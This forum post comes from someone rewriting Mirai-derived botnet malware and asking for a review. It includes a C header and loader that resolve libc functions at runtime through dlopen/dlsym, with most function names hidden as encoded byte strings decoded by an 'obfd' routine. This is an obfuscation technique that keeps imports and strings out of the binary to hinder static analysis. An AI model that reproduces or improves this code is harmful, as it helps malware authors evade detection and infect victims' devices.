oh… thank you so much, it was so simple but I couldn’t get there hahaha, it helped me a lot .
I would like to know your opinion on another thing, I noticed that in the original mirai code all the standard libraries are used except <string.h> where the author creates the functions he needs in util.c.
By rewriting my malware from scratch I had an idea, why not directly use only the functions we need by taking them from libc.so.6.
I’ll post you a piece of code and tell me what you think (I hope it’s not useless and ugly)
syscall.h
struct fn_table {
void *libc_handle;
int (*open)(const char *, int, ...);
int (*close)(int);
int (*strcmp)(const char *, const char *);
int (*snprintf)(char *, size_t, const char *, ...);
char *(*strstr)(const char *, const char *);
void (*memset)(void *, int, size_t);
void *(*malloc)(size_t size);
void *(*calloc)(size_t nmemb, size_t size);
void *(*realloc)(void* ptr, size_t size);
void (*free)(void* ptr);
void (*exit)(int status);
int (*unlink)(const char *);
int (*fork)(void);
unsigned int (*sleep)(unsigned int);
int (*kill)(pid_t, int);
ssize_t (*readlink)(const char *, char *, size_t);
pid_t (*getpid)(void);
pid_t (*getppid)(void);
ssize_t (*read)(int, void *, size_t);
size_t (*strlen)(const char *);
char *(*strncpy)(char *, const char *, size_t);
int (*fcntl)(int, int, ...);
char *(*strchr)(const char *, int);
int (*atoi)(const char *);
};
extern struct fn_table fn;
syscall.c
void load_syscall(void)
{
char *libc = "libc.so.6";
fn.libc_handle = dlopen(libc, RTLD_LAZY);
char *malloc = "malloc";
fn.malloc = dlsym(fn.libc_handle, malloc);
char *free = obfd("\x56\x42\x55\x55\x30", 5);
fn.free = dlsym(fn.libc_handle, free);
fn.free(free);
char *open = obfd("\x5F\x40\x55\x5E\x30", 5);
fn.open = dlsym(fn.libc_handle, open);
fn.free(open);
char *close = obfd("\x53\x5C\x5F\x43\x55\x30", 6);
fn.close = dlsym(fn.libc_handle, close);
fn.free(close);
char *strcmp = obfd("\x43\x44\x42\x53\x5D\x40\x30", 7);
fn.strcmp = dlsym(fn.libc_handle, strcmp);
fn.free(strcmp);
char *snprintf = obfd("\x43\x5E\x40\x42\x59\x5E\x44\x56\x30", 9);
fn.snprintf = dlsym(fn.libc_handle, snprintf);
fn.free(snprintf);
char *strstr = obfd("\x43\x44\x42\x43\x44\x42\x30", 7);
fn.strstr = dlsym(fn.libc_handle, strstr);
fn.free(strstr);
char *memset = obfd("\x5D\x55\x5D\x43\x55\x44\x30", 7);
fn.memset = dlsym(fn.libc_handle, memset);
fn.free(memset);
char *calloc = obfd("\x53\x51\x5C\x5C\x5F\x53\x30", 7);
fn.calloc = dlsym(fn.libc_handle, calloc);
fn.free(calloc);
char *realloc = obfd("\x42\x55\x51\x5C\x5C\x5F\x53\x30", 8);
fn.realloc = dlsym(fn.libc_handle, realloc);
fn.free(realloc);
char *exit = obfd("\x55\x48\x59\x44\x30", 5);
fn.exit = dlsym(fn.libc_handle, exit);
fn.free(exit);
char *unlink = obfd("\x45\x5E\x5C\x59\x5E\x5B\x30", 7);
fn.unlink = dlsym(fn.libc_handle, unlink);
fn.free(unlink);
char *fork = obfd("\x56\x5F\x42\x5B\x30", 5);
fn.fork = dlsym(fn.libc_handle, fork);
fn.free(fork);
char *sleep = obfd("\x43\x5C\x55\x55\x40\x30", 6);
fn.sleep = dlsym(fn.libc_handle, sleep);
fn.free(sleep);
char *kill = obfd("\x5B\x59\x5C\x5C\x30", 5);
fn.kill = dlsym(fn.libc_handle, kill);
fn.free(kill);
char *readlink = obfd("\x42\x55\x51\x54\x5C\x59\x5E\x5B\x30", 9);
fn.readlink = dlsym(fn.libc_handle, readlink);
fn.free(readlink);
char *getpid = obfd("\x57\x55\x44\x40\x59\x54\x30", 7);
fn.getpid = dlsym(fn.libc_handle, getpid);
fn.free(getpid);
char *getppid = obfd("\x57\x55\x44\x40\x40\x59\x54\x30", 8);
fn.getppid = dlsym(fn.libc_handle, getppid);
fn.free(getppid);
char *read = obfd("\x42\x55\x51\x54\x30", 5);
fn.read = dlsym(fn.libc_handle, read);
fn.free(read);
char *strlen = obfd("\x43\x44\x42\x5C\x55\x5E\x30", 7);
fn.strlen = dlsym(fn.libc_handle, strlen);
fn.free(strlen);
char *strncpy = obfd("\x43\x44\x42\x5E\x53\x40\x49\x30", 8);
fn.strncpy = dlsym(fn.libc_handle, strncpy);
fn.free(strncpy);
char *fcntl = obfd("\x56\x53\x5E\x44\x5C\x30", 6);
fn.fcntl = dlsym(fn.libc_handle, fcntl);
fn.free(fcntl);
char *strchr = obfd("\x43\x44\x42\x53\x58\x42\x30", 7);
*(void **)(&fn.strchr) = dlsym(fn.libc_handle, strchr);
fn.free(strchr);
char *atoi = obfd("\x51\x44\x5F\x59\x30", 5);
fn.atoi = (int (*)(const char *))dlsym(fn.libc_handle, atoi);
fn.free(atoi);
}